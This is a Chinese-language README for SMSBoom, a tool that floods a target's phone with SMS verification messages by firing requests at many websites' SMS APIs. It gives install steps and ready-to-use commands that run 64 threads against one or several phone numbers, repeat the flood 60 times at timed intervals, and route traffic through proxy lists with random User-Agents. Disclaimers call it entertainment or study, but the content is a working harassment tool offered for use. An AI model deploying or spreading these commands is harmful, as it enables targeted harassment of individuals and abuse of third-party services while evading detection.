- 使用此程序请遵守当地的法律法规,禁止滥用、恶意使用,触犯法律所造成的问题均由使用者承担。
- 本程序仅供娱乐,源码全部开源,禁止滥用 和二次 禁止用于商业用途.
- 本程序仅供个人学习使用
- 修改文档
- 修缮主要功能
- 修缮后端使用 FastAPI 前端使用 vue3 elementUI
- GUI 使用 web 技术
- 通过自定义
api.json
的方式定义接口. - 支持关键字替换. 时间戳
[timestamp]
手机号[phone]
- 多线程/异步 请求.
- 通过 Flask 提供网页测试/添加接口.
- 友好的命令行参数支持.
- 采用方便的 pipenv 包管理.
- 通过代理调用短信接口, 支持 http, socks4, socks5代理.
- 使用随机的 User-Agent.
- 可指定轰炸次数, 轰炸间隔时间.
SMSBoom 下载
1.创建虚拟环境
python -m venv SMS_VENV
2.启动虚拟环境
.\SMS_VENV\Scripts\activate
3.安装库
pip install -r requirements.txt
pip install -r requirements-dev.txt
4.使用
smsboom.py run -t 64 -p 198xxxxxxxxx
✨本项目已经使用 pyinstaller
打包成 EXE
可执行文件!免去部署 Python 环境的烦恼,适合用于小白白.
🔨作者的打包环境为: Windows 10 x64 Python3.8
如果 Windows 系统不是 Windows 10 64位 版本,可能会运行失败! 如果出现异常报错请截图发 Issue.
请移步到项目的 release页 下载
若遇到国内网络环境下载不下来,请参见 https://github.do/ 等加速镜像.
smsboom_pyinstall.exe update
若更新接口出现错误
ssl_
, 请参见 issue 关闭代理软件再 update.
- 传递命令示例
启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),只轰//炸一波。
smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx
启动64个线程,轰//炸一个人的手机号(19xxxxxxx),启动循环轰//炸, 轮番轰//炸60次
smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60
启动64个线程,轰//炸一个人的手机号(19xxxxxxx),启动循环轰//炸, 轮番轰//炸60次, 每次间隔30秒
smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60 -i 30
启动64个线程,轰//炸一个人的手机号(19xxxxxxx),启动循环轰//炸, 轮番轰//炸60次, 每次间隔30秒, 开启代理列表进行轰炸
smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60 -i 30 -e
启动64个线程,轰//炸多个人的手机号(138xxx,139xxxx),启动循环轰//炸, 轮番轰炸60次, 每次间隔30秒, 开启代理列表进行轰炸
smsboom_pyinstall.exe run -t 64 -p 138xxxxxxxx -p 139xxxxxxxx -f 60 -i 30 -e
- Download 下载项目
git clone https://github.com/AdminWhaleFall/SMSBoom.git/
- 配置虚拟环境 Deploy Virtual Envirement
前提条件: 请确保自己的电脑有 python3.x
的环境,推荐使用 3.8
及以上!
- 安装 pipenv 包管理工具.
pip install pipenv
- 为项目构建虚拟环境.
pipenv install # 仅使用轰//炸功能
pipenv install --dev # 使用 webui 调试接口功能.
- 尝试运行 smsboom.py
pipenv shell # 激活虚拟环境
python smsboom.py # linux
若无报错,输出帮助信息,则说明环境已经正确安装。若报错请使用方案二
- 安装所需要的库
pip install -r requirements.txt # 仅使用轰//炸
pip install -r requirements-dev.txt # 使用 webui
- 尝试运行 smsboom.py
python smsboom.py
若无报错,输出帮助信息,则说明环境已经正确安装。
docker run --rm lanqsh/smsboom run -t 1 -p {PHONE} -i 1
前提条件: 请确保当前环境已安装 Docker.
- 构建镜像
docker build -t whalefell/smsboom .
- 尝试运行
docker run --rm whalefell/smsboom:latest --help
Usage: smsboom.py [OPTIONS] COMMAND [ARGS]...
Options:
--help Show this message and exit.
Commands:
asyncrun 以最快的方式请求接口(真异步百万并发)
onerun 单线程(测试使用)
run 传入线程数和手机号启动轰炸,支持多手机号
update 从 github 获取最新接口
若使用虚拟环境,请先激活. pipenv shell
# 输出帮助信息
python smsboom.py --help
Usage: smsboom.py [OPTIONS] COMMAND [ARGS]...
Options:
--help Show this message and exit.
Commands:
run 传入线程数和手机号启动轰//炸,支持多手机号
update 从 github 获取最新接口
- 启动轰//炸
帮助信息:
python smsboom.py run --help
Usage: smsboom.py run [OPTIONS]
传入线程数和手机号启动轰//炸,支持多手机号
Options:
-t, --thread INTEGER 线程数(默认64)
-p, --phone TEXT 手机号,可传入多个再使用-p传递 [required]
-f, --frequency INTEGER 执行次数(默认1次)
-i, --interval INTEGER 间隔时间(默认60s)
-e, --enable_proxy BOOLEAN 开启代理(默认关闭)
--help Show this message and exit.
本项目不能通过API自动获取代理, 你可以从下面的免费代理网站中手动获取代理, 或是选择使用自己的代理, 或是不使用代理.
将代理添加到 http_proxy.txt
socks4_proxy.txt
socks5_proxy.txt
三个文件中, 命令参数添加 -e
执行即可.